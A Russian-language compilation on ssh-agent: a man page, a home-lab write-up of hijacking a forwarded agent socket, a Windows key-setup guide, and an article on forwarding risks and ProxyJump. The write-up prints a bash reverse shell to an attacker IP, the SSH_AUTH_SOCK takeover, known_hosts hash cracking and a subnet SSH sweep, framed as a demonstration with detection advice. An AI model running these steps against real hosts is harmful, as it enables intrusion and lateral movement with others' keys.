Агент ключей ssh что это
ssh-agent -a bind_address [ -c | -s ] [ -t life ] [ -u ] [ -d ] [ command [ . ]]
ssh-agent [ -c | -s ] -k
ОПИСАНИЕ
ssh-agent это программа хранящая приватные ключи, используемые для публичной аутентификации (RSA, DSA). Идея ssh-agent состоит в том, что он запускается в начале Х-сессии или при входе в систему, и все другие окна или программы запускаются как клиенты программы ssh-agent. Посредством переменных окружения агент может быть найден и автоматически использован для аутентификации при подключении к другим машинам с использованием ssh(1). Используемые опции: -a bind_address Прикрепляет агента к доменному подключению unix bind_address . По умолчанию это /tmp/ssh-XXXXXXXX/agent. . -c Генерирует команды оболочки С на стандартный вывод. Это поведение по умолчанию, если как SHELL используется csh-подобная оболочка. -s Генерирует на стандартный вывод команды оболочки Bourne. Это поведение по умолчанию, если как SHELL используется не csh-подобная оболочка. -k Уничтожить текущего агента (указывается для переменной окружения SSH_AGENT_PID). -t life Устанавливает максимальный срок действия для добавленного в агента идентификатора. Срок действия может быть указан в секундах или в виде, описанном в sshd(8). Срок действия указанный при помощи ssh-add(1), перепишет данное значение. Без указания этой опции максимальный срок действия идентификации — бесконечность. -u Запустить агента в режиме исключительности. -d Режим отладки. При указании этой опции ssh-agent не перейдёт в фоновый режим выполнения.
Если команда задана в строке, то она будет выполнена как субпроцесс агента. Если выполнение команды внезапно прервётся, агент тоже завершит свою работу.
При инициализации агент не имеет ни одного приватного ключа. Ключи добавляются при помощи ssh-add(1). Если агент запущен без параметров, то ssh-add(1) добавит файлы $HOME/.ssh/id_rsa , $HOME/.ssh/id_dsa и $HOME/.ssh/identity . Если идентификация содержит ключевую фразу, то ssh-add(1) запросит эту ключевую фразу (используя маленькую программу Х11, будучи запущенным из-под Х11, или из терминала, если запущено без Х). Затем эта идентификация отправляется агенту. Некоторые идентификации могут быть сохранены в агенте; агент может автоматически использовать любую из них. ssh-add -l отображает идентификации, обслуживаемые агентом в данный момент.
Идея состоит в том, что агент запущен на локальном компьютере пользователя, лаптопе или терминале. Отсутствует необходимость в хранении данных аутентификации на другой машине, и ключевые фразы аутентификации не передаются по сети. Однако, подключение к агенту пересылается через удаленные входы SSH в систему и пользователь может использовать привилегии данные идентификацией безопасным способом в любом месте сети.
Имеется два основных пути установки агента: либо вы позволите агенту начать выполнение новой под-команды, в которую экспортируются некоторые переменные окружения, либо вы позволите агенту напечатать необходимые команды оболочки (будет создан синтаксис либо sh(1), либо csh(1)), которые могут быть перенесены в вызывающую оболочку. Позже ssh(1) проверяет наличие этих переменных и использует их для установления связи с агентом.
Агент никогда не передаст приватный ключ через свой канал запроса. Вместо этого, операции, требующие приватный ключ, будут осуществлены агентом и требуемый результат возвращен запрашивающему. Таким образом, приватные ключи не раскрываются клиенту, использующему агента.
Создаются доменные подключения unix, и имена этих подключений сохраняются в переменной окружения SSH_AUTH_SOCK. Подключение делается доступным только для текущего пользователя. Этот метод может быть неправильно использован суперпользователем (root) или другой сессией этого-же пользователя.
Переменная окружения SSH_AGENT_PID хранит идентификатор процесса (ID) агента.
Агент автоматически прекращает работу, когда команда, указанная в командной строке, завершена.
ФАЙЛЫ
$HOME/.ssh/identity Содержит RSA-идентификатор аутентификации пользователя для протокола версии 1. $HOME/.ssh/id_dsa Содержит DSA-идентификатор аутентификации пользователя для протокола версии 2. $HOME/.ssh/id_rsa Содержит RSA-идентификатор аутентификации пользователя для протокола версии 2. /tmp/ssh-XXXXXXXX/agent.
АВТОРЫ
OpenSSH является производной из оригинальной и свободной версии ssh 1.2.12 от Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo de Raadt и Dug Song удалили много ошибок, добавили обновленные возможности и создали OpenSSH. Markus Friedl внес вклад в виде поддержки для протокола SSH версий 1.5 и 2.0.
Простой способ компрометации приватных ключей при помощи SSH-Agent

Однажды я просматривал видео из закладок и решил запустить AASLR: Leveraging SSH Keys for Lateral Movement Хэла Померанца. Примерно на середине видео я захотел начать заново и открыл заметки, чтобы документировать полученную информацию, потому что это был очень интересный материал, которого я не видел раньше. Воспользовавшись этой информацией как фундаментом, я начал искать другие способы применения утилиты ssh-agent и решил создать демо в своей домашней лаборатории. В этом посте я расскажу о своих открытиях.
Что такое SSH Agent?
Для начала нам немного нужно разобраться с тем, что происходит с процессом ssh-agent. ssh-agent — это интересная утилита, используемая для повышения удобства работы с приватными ключами. Она схожа с технологией единого входа (single sign on), но для ключей SSH. SSH agent позволяет командой ssh-add добавлять в агент, работающий на локальной машине, приватные ключи/идентификационные данные. Список этих ключей можно получить с помощью ssh-add -l . Добавив ключ в утилиту ssh-agent , можно подключиться по ssh к серверу при помощи ключа, не вводя пароль повторно. Это полезно как для людей, так и аккаунтов сервисов. Любопытно, что можно также перенаправить агент ключей к машине, с которой выполняется подключение, что позволяет использовать приватные ключи с машины, к которой вы подключены. Вот пример:
- Admin — это администратор сервера, отвечающий за обслуживание множества разных серверов Linux. Admin использует SSH для удалённого подключения ко множеству машин для выполнения своих администраторских задач.
- Admin использует утилиту ssh-agent для упрощения подключения к десяткам серверов с разными ключами (защищённых уникальными паролями). Это делается при помощи команды ssh-add . (Примечание: при добавлении к кольцу ключей ssh-agent необходимо правильно ввести пароль.)


Чтобы показать, почему это может быть очень плохо, предположим, что admin на самом деле подключается к серверу командой ssh -A root@ . Но зачем вообще это кому-то делать? Разве нельзя просто создать политику, запрещающую администраторам использовать перенаправление агентов? Существует несколько ситуаций, в которых это может быть полезно.
- Jumphost : в корпоративных окружениях доступ к уязвимым серверам с личной машины — не очень хорошая политика безопасности. Вместо этого можно использовать инсталляционные серверы (jumphost). Эти особые серверы (в идеале) являются единственными серверами, способными подключаться к уязвимым машинам по ssh. Такую сегментацию можно реализовать через фаерволы. Например: ssh root@super_important_dns_server невозможно будет выполнить с вашей локальной машины, если только ваш трафик не проксируется через jumpserver.
- Вы подключились к серверу разработки, которому требуется особый доступ к чему-то (например, к git-репозиторию), но вы не хотите хранить свой приватный ключ на сервере разработки.
TLDR; перенаправление SSH Agent позволяет не сохранять приватные ключи в местах, над которыми у вас нет контроля.
Предположим, что вы администратор и вам нужно внести изменения в DNS-сервер, залогинившись в него через SSH. Вам бы хотелось сделать это, не сохраняя приватный ключ SSH на jumphost, потому что им пользуются и другие люди. Для этого можно использовать перенаправление агента через ssh -A root@jumphost . Так как у нашей локальной машины есть в ssh-agent приватный ключ для root@pi.hole , можно просто выполнить ssh root@pi.hole с jumphost и получить доступ к pi.hole , не применяя никакие другие меры безопасности. Что же может пойти не так? Если нападающий стремится освоиться в нашей сети, то похищение ключей администратора очень ему в этом поможет. В этом посте мы предполагаем, что admin подключается к серверу, скомпрометированному нападающим, который получил полномочия рута при помощи ssh -A root@ .
Чтобы это стало чуть понятнее, давайте изучим полную цепь атаки в лабораторном окружении.
Демо
Для начала давайте поймём окружение, в котором находимся.

▍ Подробный обзор
Начнём по порядку: первым делом давайте обоснуемся на уязвимом сервере. В реальной ситуации вы сами (или ваша команда начального доступа) должны будете зайти на сервер Linux и скомпрометировать рут-аккаунт. В этом демо я буду выполнять атаку из root@attacker-server и создам reverse shell при помощи простого bash reverse shell bash -i >& /dev/tcp/192.168.1.184/1337 0>&1 и слушателя netcat netcat -nvlp 1337 . Это установит крайне рудиментарный доступ к скомпрометированному серверу vuln-server .
Получив доступ к машине, я воспользовался Python для создания полностью интерактивного TTY командой python -c ‘import pty; pty.spawn(«/bin/bash»)’ . Чаще всего это необязательно, но это упростит работу.
Далее выполнение команды ssh-add -l на vuln-server позволяет нам определить, есть ли загруженные идентификационные данные. Пока идентификационные данные не загружены, и это означает, что никто не вошёл на этот сервер как root сессией SSH при помощи ssh-agent. Вполне нормальная ситуация.

А теперь начинается интересное. Если мы выполним lsof -U | grep agent , то получим результат, говорящий нам, что пользователь admin подключился к машине и использует SSH-Agent. Повторюсь, важно отметить, что мы можем видеть это только потому, что уже имеем root в системе (или полномочия другого привилегированного пользователя).

Помня об этом, попробуем захватить сокет SSH_AUTH_SOCK . Это достаточно тривиальная задача. Для этого достаточно лишь задать переменную окружения рут-пользователя при помощи команды export . Для этого просто возьмём путь /tmp/ssh-ZzrtT2ZwVr/agent.4145 , определённый в предыдущей команде lsof -U | grep agent , и присвоим его переменной окружения SSH_AUTH_SOCK , выполнив export SSH_AUTH_SOCK=/tmp/ssh-ZzrtT2ZwVr/agent4145 .

Теперь, когда мы указали переменной окружения существующий SSH-сокет, мы, по сути, скомпрометировали сессию SSH для пользователя admin. Ещё раз выполнив команду ssh-add -l , мы увидим отпечаток ключей на ЛОКАЛЬНОЙ машине пользователя admin. Я выполнил ssh-add -l на своей локальной машине (на которой я залогинен как admin) и можно увидеть, что отпечатки такие же, потому что я вошёл на скомпрометированную машину при помощи перенаправления агента.

Так как теперь у нас есть доступ к ключам ssh-agent пользователя admin, можно использовать их для подключения к другим хостам, к которым ранее подключался администратор. К счастью (или к несчастью), это неполная компрометация приватного ключа, так как SSH-Agent не позволяет никаким образом экспортировать сам приватный ключ. Верификация сервера использует систему запроса/ответа для проверки аутентичности ключа. Если вам любопытно, то более подробно об этом можно прочитать здесь. Но это позволяет нам сделать что-то даже лучше, чем полная компрометация ключа, потому что позволяет обойти необходимость знания пароля приватных ключей и подключаться к компьютерам, к которым раньше подключался пользователь admin.
Как же нам узнать, к чему получал доступ скомпрометированный аккаунт администратора? Это можно сделать несколькими способами. Во-первых, проверив файл /home/admin/known_hosts . В этом файле обычно содержатся IP-адреса ранее посещавшихся хостов. Однако взглянув на файл (в системе Ubuntu 20.04), можно заметить, что там нет никаких IP-адресов… Как же так?

За это можно поблагодарить опцию HashKnownHosts файла /etc/ssh/ssh_config . Если эта опция установлена, то хосты, к которым подключался admin, будут хэшированы.

▍ Способ 1: взлом хэшей
Один из способов обхода этой опции HashKnownHosts заключается во взломе хэшей при помощи инструмента наподобие hashcat. К счастью, кто-то потратил своё время на создание отличного инструмента на Python для автоматического преобразования файла known_hosts в формат, который может парсить hashcat. Воспользуемся инструментом с подходящим названием Known_Hosts-Hashcat. Мои благодарности его создателю chris408!

Преобразовав файл known_hosts в более удобный для взлома формат (и сев за машину, на которой hashcat хорошо работает), мы можем взломать хэши следующей командой hashcat: hashcat.bin -m 160 —hex-salt ../converted_known_hosts -a 3 ipv4_hcmask.txt —quiet . Таким образом, мы можем увидеть, что admin подключался по SSH к IP-адресам 192.168.1.3 и 192.168.1.2 . Теперь мы можем попробовать аутентифицироваться на каждой из этих машин, чтобы понять, можно ли переместиться к ним горизонтально по сети.

▍ Способ 2: проверка файла истории
Ещё один простой способ понять, к чему у нас может быть доступ — это проверка файла /home/admin/.bash_history . Так как мы под рутом на этой машине, просмотреть его удастся без проблем.

У такого способа есть недостатки.
- Файл истории bash может быть по каким-то причинам очищен (но это маловероятно)
- Пользователь мог не выполнить выход на машине, поэтому запись в файл истории могла ещё не произойти.
- Может быть задано маленькое ограничение на размер истории bash, поэтому данные окажутся недоступными.
Способ 3: проверяем всё
Ещё один странный способ, который можно попробовать для составления списка машин, к которым у нас есть доступ: запуск скрипта bash, пытающегося войти по ssh в каждый домен в 192.168.1.0/24 и выполнить несколько команд. Если вы видите вывод для определённого IP-адреса, то значит, у нас есть доступ к этой машине. Я не рекомендую этого делать, но это возможно, если вы не пытаетесь скрыть свои действия. Не особо изящно, но свою задачу решает.
for i in 192.168.1.; do echo "Checking $i for access. " ; ssh -o BatchMode=yes root@$i "hostname; whoami; ip -c a | grep -E '[0-9]\.[0-9]\.[0-9]\.[0-9]'" 2>/dev/null; done

▍ Кража SSH-сессии
Если мы уже нашли свидетельства того, к чему подключался admin, то остаётся тривиальная задача маскировки под пользователя при помощи его идентификационных данных ssh-agent . Правильно задав переменную окружения SSH_AUTH_SOCK , можно просто подключиться по ssh к обнаруженному серверу. Например: ssh root@pi.hole . Даже если ключ ssh, обычно используемый для доступа к этому серверу, защищён паролем, то вы залогинитесь на удалённом сервере без запроса пароля приватного ключа. В своём случае мне удалось аутентифицироваться на DNS-сервере.

Выявление
Как и в случае с большинством атак, оптимальнее всего выявлять подобные виды компрометации благодаря пониманию структуры сети и её сегментированию. Учитывая, что это не особо сложный эксплойт, если вы не знаете, что искать, то выявить его будет довольно трудно. Мои рекомендации:
- Сегментируйте свою сеть. В этом примере всё находилось в однородной сети, поэтому изучить её было очень просто.
- Обеспечьте понимание структуры и поведения своей сети. В реальной ситуации должно быть очень подозрительно, что ваш веб-сервер в DMZ подключается по SSH ко всему.

Подведём итог
Итак, уязвимость ли это? Не совсем. Как и многие вещи в мире безопасности, эта «атака» на самом деле является зловредным применением обычной функциональности. Задача этого поста — объяснить вам, что теоретически может произойти в подходящих обстоятельствах.
Проверка подлинности на основе ключей в OpenSSH для Windows
Чаще всего при аутентификации в Windows используется пара «имя пользователя — пароль», что подходит для систем с общим доменом. При работе с несколькими доменами, например с локальными и облачными системами, возникает риск атак методом перебора.
По сравнению с средами Linux обычно используются пары открытых ключей и закрытых ключей для проверки подлинности, которая не требует использования угадываемых паролей. OpenSSH включает средства для поддержки проверки подлинности на основе ключей, в частности:
- ssh-keygen для создания защищенных ключей;
- ssh-agent и ssh-add для защищенного хранения закрытых ключей;
- scp и sftp для защищенного копирования файлов открытого ключа при первом использовании сервера.
В этом документе описано, как использовать эти средства в Windows для перехода на аутентификацию на основе ключей по протоколу SSH. Если вы не знакомы с управлением ключами SSH, настоятельно рекомендуем ознакомиться с документом NIST IR 7966 под названием «Безопасность интерактивного и автоматического управления доступом с помощью Secure Shell (SSH)».
Сведения о парах ключей
Парой ключей называются файлы открытого и закрытого ключей, которые используются в некоторых протоколах аутентификации.
При аутентификации SSH на основе открытого ключа используются асимметричные алгоритмы шифрования для создания двух файлов ключей, один из которых считается закрытым, а второй открытым. Файлы закрытых ключей выполняют функцию паролей, а значит, должны быть постоянно защищены. Если кто-то получает закрытый ключ, он может войти как вы на любой сервер SSH, к который у вас есть доступ. Открытый ключ размещается на сервере SSH. Его можно свободно распространять, не компрометируя закрытый ключ.
Проверка подлинности на основе ключей позволяет серверу SSH и клиенту сравнить открытый ключ для имени пользователя, предоставленного с закрытым ключом. Если открытый ключ на стороне сервера не может быть проверен на основе закрытого ключа на стороне клиента, проверка подлинности завершается ошибкой.
Многофакторную проверку подлинности можно реализовать с помощью пар ключей, введя парольную фразу при создании пары ключей (см. раздел о создании пользовательских ключей ниже). Пользователю будет предложено ввести парольную фразу во время проверки подлинности. Парольная фраза используется вместе с наличием закрытого ключа на клиенте SSH для проверки подлинности пользователя.
Удаленный сеанс, открытый с помощью проверки подлинности на основе ключей, не имеет связанных учетных данных пользователя, поэтому он не может выполнять исходящую проверку подлинности в качестве пользователя.
Создание ключей узла
Для открытых ключей действуют определенные требования к ACL, которые в среде Windows соответствуют предоставлению доступа только администраторам и системной учетной записи. При первом использовании sshd будет автоматически создана пара ключей для узла.
Сначала необходимо установить OpenSSH Server. См. статью о начале работы с OpenSSH.
По умолчанию служба sshd настроена для запуска вручную. Чтобы запускать ее каждый раз при перезагрузке сервера, выполните следующие команды в командной строке PowerShell с повышенными привилегиями на сервере:
# Set the sshd service to be started automatically Get-Service -Name sshd | Set-Service -StartupType Automatic # Now start the sshd service Start-Service sshd
Так как нет пользователя, связанного со службой sshd, ключи узла хранятся в C:\ProgramData\ssh.
Создание ключей пользователя
Чтобы использовать аутентификацию на основе ключей, необходимо заранее создать для клиента одну или несколько пар открытого и закрытого ключей. Программа ssh-keygen.exe используется для создания файлов ключей, при этом вы можете задать алгоритмы DSA, RSA, ECDSA или Ed25519. Если алгоритм не указан, используется RSA. Необходимо использовать надежный алгоритм и соответствующую длину ключа, например Ed25519 в этом примере.
Чтобы создать файлы ключей с помощью алгоритма Ed25519, выполните следующую команду из powerShell или командной строки на клиенте:
ssh-keygen -t ed25519
Выходные данные команды должны отображать следующие выходные данные (где имя пользователя заменено вашим именем пользователя):
Generating public/private ed25519 key pair. Enter file in which to save the key (C:\Users\username/.ssh/id_ed25519):
Можно нажать клавишу ВВОД, чтобы принять вариант по умолчанию, или указать путь и (или) имя файла для создания файлов ключей. На этом этапе вам будет предложено указать парольную фразу для шифрования файлов закрытого ключа. Парольная фраза может быть пустой, но не рекомендуется. Парольная фраза в сочетании с файлом ключа позволяет выполнить двухфакторную аутентификацию. В этом примере мы покидаем парольную фразу пустым.
Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in C:\Users\username/.ssh/id_ed25519. Your public key has been saved in C:\Users\username/.ssh/id_ed25519.pub. The key fingerprint is: SHA256:OIzc1yE7joL2Bzy8!gS0j8eGK7bYaH1FmF3sDuMeSj8 username@LOCAL-HOSTNAME The key's randomart image is: +--[ED25519 256]--+ | . | | o | | . + + . | | o B * = . | | o= B S . | | .=B O o | | + =+% o | | *oo.O.E | |+.o+=o. . | +----[SHA256]-----+
Теперь у вас есть пара ключей ed25519 public/private ed2519 в указанном расположении. Файлы PUB являются открытыми ключами, а файлы без расширения — закрытыми.
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 6/3/2021 2:55 PM 464 ed25519 -a---- 6/3/2021 2:55 PM 103 ed25519.pub
Помните, что файлы закрытых ключей выполняют функцию пароля и должны защищаться так же тщательно. Используйте ssh-agent для безопасного хранения закрытых ключей в контексте безопасности Windows, связанном с учетной записью Windows. Чтобы запустить службу ssh-agent при каждой перезагрузке компьютера и использовать ssh-add для хранения закрытого ключа, выполните следующие команды из командной строки PowerShell с повышенными привилегиями на сервере:
# By default the ssh-agent service is disabled. Configure it to start automatically. # Make sure you're running as an Administrator. Get-Service ssh-agent | Set-Service -StartupType Automatic # Start the service Start-Service ssh-agent # This should return a status of Running Get-Service ssh-agent # Now load your key files into ssh-agent ssh-add $env:USERPROFILE\.ssh\id_ed25519
После добавления ключа в агент ssh-agent на клиенте агент ssh-agent автоматически извлекает локальный закрытый ключ и передает его клиенту SSH.
Мы настоятельно рекомендуем создать резервную копию закрытого ключа в безопасном расположении, а затем удалить его из локальной системы после добавления в ssh-agent. Закрытый ключ нельзя получить из агента, если использовался надежный алгоритм, например Ed25519 в этом примере. Если вы утратите доступ к закрытому ключу, вам нужно будет создать новую пару ключей и обновить открытый ключ во всех системах, с которыми вы работаете.
Развертывание открытого ключа
Чтобы использовать созданный выше ключ пользователя, необходимо поместить содержимое открытого ключа (\.ssh\id_ed25519.pub) на сервер в текстовый файл. Имя и расположение файла зависят от того, является ли учетная запись пользователя членом группы локальных администраторов или стандартной учетной записью пользователя. В следующих разделах рассматриваются как стандартные, так и административные пользователи.
Обычный пользователь
Содержимое открытого ключа (\.ssh\id_ed25519.pub) должно быть помещено на сервер в текстовый файл authorized_keys с именем C:\Users\username\.ssh\. Вы можете скопировать открытый ключ с помощью программы безопасной передачи файлов OpenSSH или с помощью PowerShell для записи ключа в файл.
В приведенном ниже примере на сервер копируется открытый ключ (где имя пользователя заменяется именем пользователя). Сначала необходимо использовать пароль для учетной записи пользователя сервера.
# Get the public key file generated previously on your client $authorizedKey = Get-Content -Path $env:USERPROFILE\.ssh\id_ed25519.pub # Generate the PowerShell to be run remote that will copy the public key file generated previously on your client to the authorized_keys file on your server $remotePowershell = "powershell New-Item -Force -ItemType Directory -Path $env:USERPROFILE\.ssh; Add-Content -Force -Path $env:USERPROFILE\.ssh\authorized_keys -Value '$authorizedKey'" # Connect to your server and run the PowerShell using the $remotePowerShell variable ssh username@domain1@contoso.com $remotePowershell
Администратор
Содержимое открытого ключа (\.ssh\id_ed25519.pub) должно быть помещено на сервер в текстовый файл administrators_authorized_keys с именем C:\ProgramData\ssh\. Вы можете скопировать открытый ключ с помощью программы безопасной передачи файлов OpenSSH или с помощью PowerShell для записи ключа в файл. Список управления доступом для этого файла должен быть настроен на предоставление доступа только администраторам и системе.
В приведенном ниже примере открытый ключ копируется на сервер и настраивает список управления доступом (username заменяется именем пользователя). Сначала необходимо использовать пароль для учетной записи пользователя сервера.
В этом примере показаны шаги по созданию administrators_authorized_keys файла. Это относится только к учетным записям администратора и должно быть пользователем вместо каждого файла пользователя в расположении профиля пользователя.
# Get the public key file generated previously on your client $authorizedKey = Get-Content -Path $env:USERPROFILE\.ssh\id_ed25519.pub # Generate the PowerShell to be run remote that will copy the public key file generated previously on your client to the authorized_keys file on your server $remotePowershell = "powershell Add-Content -Force -Path $env:ProgramData\ssh\administrators_authorized_keys -Value '$authorizedKey';icacls.exe ""$env:ProgramData\ssh\administrators_authorized_keys"" /inheritance:r /grant ""Administrators:F"" /grant ""SYSTEM:F""" # Connect to your server and run the PowerShell using the $remotePowerShell variable ssh username@domain1@contoso.com $remotePowershell
Эти действия завершают настройку, которая требуется для использования аутентификации OpenSSH на основе ключей в среде Windows. После выполнения примеров команд PowerShell пользователь может подключиться к узлу sshd от любого клиента, имеющего закрытый ключ.
Про SSH Agent
SSH-agent является частью OpenSSH. В этом посте я объясню, что такое агент, как его использовать и как он работает, чтобы сохранить ваши ключи в безопасности. Я также опишу переадресацию агента и то, как она работает. Я помогу вам снизить риск при использовании переадресации агента и поделюсь альтернативой переадресации агента, которую вы можете использовать при доступе к своим внутренним хостам через bastion’ы.
Что такое SSH-agent
ssh-agent — это менеджер ключей для SSH. Он хранит ваши ключи и сертификаты в памяти, незашифрованные и готовые к использованию ssh . Это избавляет вас от необходимости вводить пароль каждый раз, когда вы подключаетесь к серверу. Он работает в фоновом режиме в вашей системе, отдельно от ssh , и обычно запускается при первом запуске ssh .
Агент SSH хранит секретные ключи в безопасности из-за того, что он не делает:
- Он не записывает никакой информации о ключах на диск.
- Он не позволяет экспортировать ваши личные ключи.
Но если агент может только подписывать сообщения, как SSH шифрует и расшифровывает трафик?
При первом изучении открытых и закрытых ключей SSH естественно предположить, что SSH использует эти пары ключей для шифрования и дешифрования трафика. Именно так я и думал. Но это не тот случай. Пара ключей SSH используется только для аутентификации во время первоначального соединения.
Например, вот как проверяется ключ пользователя во время SSH-соединения, с точки зрения сервера:
- Клиент предоставляет серверу публичный ключ.
- Сервер генерирует и отправляет короткое случайное сообщение, прося клиента подписать его с помощью приватного ключа.
- Клиент просит агента SSH подписать сообщение и пересылает результат обратно на сервер.
- Сервер проверяет подпись, используя публичный ключ клиента.
- Теперь у сервера есть доказательство того, что клиент владеет приватным ключом.
Протокол агента
SSH использует сокет домена Unix для общения с агентом по протоколу SSH agent. Большинство людей используют ssh-agent , который поставляется с OpenSSH, но есть множество альтернатив с открытым исходным кодом.
Протокол агента настолько прост, что можно было бы написать базовый SSH-agent за день или два. Он имеет только несколько основных операций:
- Добавить обычную пару ключей (публичный и расшифрованный приватный ключи)
- Добавить ограниченную пару ключей (публичный и расшифрованный приватный ключи)
- Добавить ключ (обычный или ограниченный) из смарт-карты (только публичный ключ)
- Удалить ключ
- Вывод списка ключей, хранящихся в агенте
- Подпись сообщения ключом, хранящимся в агенте
- Блокировка или разблокировка всего агента с помощью пароля
Команда ssh-add — это ваш шлюз к агенту SSH. Он выполняет все эти операции, кроме подписи. Когда вы запускаете ssh-add без каких-либо параметров, он будет сканировать ваш домашний каталог на наличие некоторых стандартных ключей и добавлять их в ваш агент. По умолчанию он ищет:
- ~/.ssh/id_rsa
- ~/.ssh/id_ed25519
- ~/.ssh/id_dsa
- ~/.ssh/id_ecdsa
ssh-агент и macOS Keychain
ssh-agent , поставляемый вместе с macOS, может хранить парольную фразу для ключей в macOS Keychain, что делает еще более простым повторное добавление ключей к агенту после перезагрузки. В зависимости от настроек Keychain вам все равно может потребоваться разблокировать его после перезагрузки. Чтобы сохранить ключевые парольные фразы в Keychain, выполните команду ssh-add -K [имя файла ключа] . Парольные фразы обычно хранятся в «Local Items». ssh-agent будет использовать эти сохраненные парольные фразы автоматически по мере необходимости.
Что такое переадресация агента
Функция переадресации агента позволяет вашему локальному агенту SSH связаться через существующее SSH-соединение и прозрачно аутентифицироваться на более удаленном сервере. Например, предположим, что вы входите по SSH в инстанс EC2 и хотите клонировать оттуда приватный репозиторий GitHub. Без переадресации агента вам придется хранить копию вашего приватного ключа GitHub на хосте EC2. При переадресации агента SSH-клиент на EC2 может использовать ключи на вашем локальном компьютере для аутентификации на GitHub.
Как работает переадресация агента
Во-первых, немного предыстории. SSH-соединения могут иметь несколько каналов. Вот распространенный пример: интерактивное соединение с bastion-host (jump box) выполняется на одном канале. Когда для соединения включена переадресация агента (обычно с использованием ssh -A ), в фоновом режиме открывается второй канал для переадресации любых запросов агента обратно на ваш локальный компьютер.
С точки зрения ssh , нет никакой разницы между удаленным и локальным ssh-agent . SSH всегда смотрит на переменную окружения $SSH_AUTH_SOCK , чтобы найти доменный сокет Unix для агента. При подключении к удаленному хосту с включенной переадресацией агента SSHD создаст удаленный доменный сокет Unix, связанный с каналом переадресации агента, и экспортирует $SSH_AUTH_SOCK , указывающий на него.

Переадресация агента связана с определенным риском
Когда вы переадресовываете доменный сокет ssh-agent Unix на удаленный хост, это создает угрозу безопасности: любой человек с root доступом на удаленном хосте может незаметно получить доступ к вашему локальному SSH-agent’y через сокет. Они могут использовать ваши ключи, чтобы выдавать себя за вас на других машинах в сети.
Вот пример того, как это может выглядеть:

Как снизить свой риск при переадресации агента
Вот несколько способов сделать переадресацию агента более безопасной:
- Не включайте ForwardAgent по умолчанию.
Заблокируйте свой ssh-агент, когда вы используете переадресацию агента. ssh-add -x блокирует агент паролем, а ssh-add -X разблокирует его. Когда вы подключены к удаленному хосту с переадресацией агента, никто не сможет проникнуть в ваш агент без пароля.
Или используйте альтернативный агент SSH, который запрашивает вас, когда он используется. Sekey использует Touch ID на macOS для хранения ключей в анклаве безопасности MacBook Pro.
Или вообще не используйте переадресацию агента. Если вы пытаетесь получить доступ к внутренним хостам через bastion, ProxyJump — гораздо более безопасная альтернатива для этого варианта использования. (смотреть ниже)
Используйте ProxyJump : более безопасная альтернатива
Когда вы хотите пройти через bastion-host (jumpbox), вам действительно не нужна переадресация agent’a. Лучший подход — использовать директиву ProxyJump .
Вместо того чтобы перенаправлять agent’a по отдельному каналу, ProxyJump перенаправляет стандартный вход и выход вашего локального SSH-клиента через bastion и далее на удаленный хост. Вот как это работает:
- Запустите ssh -J bastion.example.com cloud.computer.internal для подключения к cloud.computer.internal через ваш bastion хост — bastion.example.com . cloud.computer.internal — это имя хоста, которое можно найти с помощью поиска DNS на bastion.example.com .
- Ваш SSH клиент использует ключи от вашего агента для подключения к bastion.example.com .
- После подключения SSHD к bastion подключается к cloud.computer.internal и передает это соединение вашему локальному SSH-клиенту.
- Ваш локальный SSH-клиент снова проходит через соединение, на этот раз с cloud.computer.internal
Настройка ProxyJump
Скажем bastion-host это bastion.example.com . Я могу настроить свой ~/.ssh/config так:
Host bastion.example.com User carl Host *.computer.internal ProxyJump bastion.example.com User carl
Затем я просто запускаю ssh cloud.computer.internal для подключения к внутреннему назначению через bastion — без переадресации агента.
Если ProxyJump не работает…
Более старые версии SSH и SSHD (до версии 7.2, выпущенной в 2016 году) не поддерживают ProxyJump . Но вы можете выполнить эквивалентную операцию, используя ProxyCommand и netcat. Вот вам пример:
ssh -o ProxyCommand="ssh bastion.example.com nc %h %p" cloud.computer.internal
Магия здесь заключается в том, что SSH сам по себе является прокси-сервером, который вы используете для SSH. Часть nc %h %p просто открывает необработанное соединение сокета к cloud.computer.internal на порте 22. Стандартный ввод-вывод родительской команды ssh передается прямо в ProxyCommand , чтобы родительский ssh мог аутентифицироваться на внутреннем хосте через прокси-соединение.

Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя онлайн-курсы SkillFactory:
- Курс «Профессия Data Scientist» (24 месяца)
- Курс «Профессия Data Analyst» (18 месяцев)
- Курс «Python для веб-разработки» (9 месяцев)
Читать еще
- 450 бесплатных курсов от Лиги Плюща
- 30 лайфхаков чтобы пройти онлайн-курс до конца
- обучение программированию
- data science
- data analyst
- SSH
- SSH Agent